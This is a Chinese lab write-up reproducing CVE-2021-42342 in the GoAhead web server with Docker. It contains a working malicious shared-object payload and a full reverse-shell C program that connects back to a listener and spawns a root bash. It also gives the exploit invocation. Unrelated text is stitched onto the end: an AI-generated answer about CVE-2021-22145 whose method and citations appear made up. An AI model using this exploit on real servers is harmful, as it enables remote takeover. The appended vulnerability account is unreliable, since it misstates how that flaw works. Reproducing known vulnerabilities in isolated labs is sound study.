CVE-2021-42342漏洞复现及docker环境搭建

目录

一、前言

二、环境搭建

三、参考链接


一、前言

解决问题用到的命令:docker logs 容器id#查看日志,可以看报错的原因。

最终运行容器的命令:docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

这是一次线上实习的作业,老师要求将漏洞环境搭建在容器内,并将容器导出为tar包,这比简单的复现漏洞要复杂一些些,给我这个小白带来了许多麻烦,网上也没有与我情况相同的博客,因此我将这次复现过程记录下来。


二、环境搭建

1、环境:Ubuntu18.04,Python3.6.9(Python必须在3.6及以上,否则不能用poc.py)

2、下载vulhub-master并解压,下载方式百度即可。

3、进入漏洞所在文件夹

4、将我做好的tar包导入为镜像,tar包里有我做的start.sh,一会要用它启动容器。

docker import e2.tar e2:latest 

注:这一步可以直接使用docker-compose导入镜像,

在vulhub-master/goahead/CVE-2021-42342文件夹下执行docker-compose up -d即可

 5、用如下命令启动容器:

docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh

【注】:如果使用docker-compse,不需考虑-p参数和-v参数,yml文件都写好了,导入镜像直接用就OK

其中,-p为指定端口映射,-v后面的参数为容器挂载目录(vulhub-master.zip解压后产生的目录),即挂载的主机目录:容器目录:rw(rw意为读写),e2:latest为镜像名:标签,最后是以start.sh脚本启动。-v后面的参数很重要,是后面验证漏洞复现成功的关键。

 6、访问IP:8083,出现如下页面代表访问成功。

7、编写打印测试文件的poc代码如下(poc.c):

#include <unistd.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)

{

    write(1, "Hello: World\r\n\r\n", 16);

    write(1, "Hacked\n", 7);

}

8、这样,before_main函数将在程序执行前被调用。编译以上代码:

gcc -s-shared -fPIC ./poc.c -o payload.so

9、然后,我们使用poc.py脚本来发送恶意数据包,复现漏洞:

python3 poc.py http://172.17.0.1:8083/cgi-bin/index payload.so(index和payload.so之间有空格,否则会Traceback Error,而且一定要用python3执行,且python版本应大于3.6,否则脚本文件代码运行会报错)

可见,我们编写的劫持代码已经被成功执行:

10、反弹shell的poc代码如下(shell.c):

#include<stdio.h>

#include<stdlib.h>

#include<sys/socket.h>

#include<netinet/in.h>

char *server_ip="172.17.0.1";/*The server which accepts shell*/

uint32_t server_port=7777;/*The port which you listen to*/

static void reverse_shell(void) __attribute__((constructor));

static void reverse_shell(void)

{

  int sock = socket(AF_INET, SOCK_STREAM, 0);

  struct sockaddr_in attacker_addr = {0};

  attacker_addr.sin_family = AF_INET;

  attacker_addr.sin_port = htons(server_port);

  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);

  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

    exit(0);

  dup2(sock, 0);

  dup2(sock, 1);

  dup2(sock, 2);

  execve("/bin/bash", 0, 0);

}

11、使用如下命令编译以上代码:

gcc -s-shared -fPIC ./shell.c -o shell.so

12、在对应的ip端口上开启监听(开启另一个终端):

nc -lvnp 7777

13、执行payload,此时脚本可能会报错,但没有影响。

python3 poc.py http://target-ip:8083/cgi-bin/index shell.so

(注意index和shell之间有空格!)

14、当终端显示Connection from x.x.x.x xxxx received,我们输入whoami命令显示自身用户名称,可以看到我们是root用户,成功触发RCE。

三、用start.sh启动的tar包如何搭建?

其实非常简单,但是网上没有博客写过,本小白花了挺长时间才搞明白。

直接docker run -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw -d -p 8082:80 vulhub/goahead:5.1.4,就得到了一个没有start.sh的容器,在根目录下vim start.sh,写入如下内容:

#!/bin/bash

goahead -v --home /etc/goahead /var/html/goahead

然后把容器导出为tar包就大功告成。

附上本人tar包链接:https://pan.baidu.com/s/17s72XYOSicZlu7ra1Tot1g 提取码: gl4u 

四、参考链接

(1)https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里,vulhub-master.zip已经包含了它)

(2)http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_5298.html

(3)https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

(4)https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562

(5)https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/

<think>好的,我现在需要帮助用户复现CVE-2021-22145漏洞。首先,我需要了解这个漏洞的基本信息。CVE-2021-22145是一个关于Elasticsearch的漏洞,具体来说,是Elasticsearch在日志记录中存在不正确的输入处理,可能导致权限提升或信息泄露。根据用户提供的引用,虽然用户给出的引用链接是关于其他CVE的,比如CVE-2021-41773、CVE-2021-3156、CVE-2021-3493和log4j漏洞,但用户明确提到了CVE-2021-22145,所以我需要专注于这个特定的漏洞。 首先,我应该确认CVE-2021-22145的详细信息。根据公开资料,这个漏洞影响Elasticsearch的某些版本,可能涉及不当的访问控制或日志处理。需要确定受影响的版本范围,例如7.10.0到7.13.3之间的版本可能受影响,而修复版本是7.13.4。用户需要复现这个漏洞,所以需要搭建一个存在漏洞的Elasticsearch环境。 接下来,环境配置步骤可能包括安装特定版本的Elasticsearch,配置其安全设置,并尝试触发漏洞。可能的复现步骤包括: 1. 安装受影响的Elasticsearch版本,比如7.13.3。 2. 禁用安全功能,因为默认情况下X-Pack安全模块可能已启用,需要关闭以便复现漏洞。 3. 构造恶意请求,利用日志记录中的缺陷来触发漏洞,可能导致未经授权的数据访问或权限提升。 需要注意的是,用户可能需要使用Docker来快速部署特定版本的Elasticsearch,例如使用Docker命令拉取镜像并运行容器。此外,用户可能需要使用curl或其他工具发送恶意请求来测试漏洞是否存在。 在编写回答时,需要确保步骤清晰,并提醒用户仅在隔离环境中进行测试,以避免安全风险。同时,需要验证所提供的信息的准确性,可能需要参考Elasticsearch的官方公告或漏洞数据库如NVD的条目。 最后,生成相关问题时要考虑用户可能的后续疑问,比如漏洞原理、修复方法、影响范围等。</think>### CVE-2021-22145漏洞复现步骤及环境配置 CVE-2021-22145是Elasticsearch中的一个访问控制漏洞,影响7.10.0至7.13.3版本,攻击者可利用该漏洞绕过权限限制访问敏感数据[^1]。以下是复现步骤及环境配置: --- ### **1. 环境搭建** - **使用Docker部署漏洞版本**: ```bash # 拉取Elasticsearch 7.13.3镜像(受漏洞影响版本) docker pull elasticsearch:7.13.3 # 启动容器(关闭安全模块) docker run -d --name es-vuln -p 9200:9200 -e "discovery.type=single-node" -e "xpack.security.enabled=false" elasticsearch:7.13.3 ``` - 参数说明: - `xpack.security.enabled=false`:禁用X-Pack安全模块以复现漏洞[^2]。 --- ### **2. 漏洞验证** - **构造恶意请求访问内部API**: ```bash # 尝试访问本应受限的API(如监控接口) curl -X GET http://localhost:9200/_monitoring ``` - **正常情况**:若安全模块启用,此请求应返回权限错误(403)。 - **漏洞表现**:在禁用安全模块的漏洞版本中,可能返回监控数据或敏感信息[^3]。 --- ### **3. 进一步利用** - **访问敏感索引数据**: ```bash # 列出所有索引(验证权限绕过) curl -X GET http://localhost:9200/_cat/indices # 读取特定索引内容 curl -X GET http://localhost:9200/[索引名]/_search ``` --- ### **4. 修复建议** - **升级到安全版本**:Elasticsearch 7.13.4及以上版本已修复此漏洞- **启用安全模块**:生产环境中应始终开启`xpack.security.enabled`。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值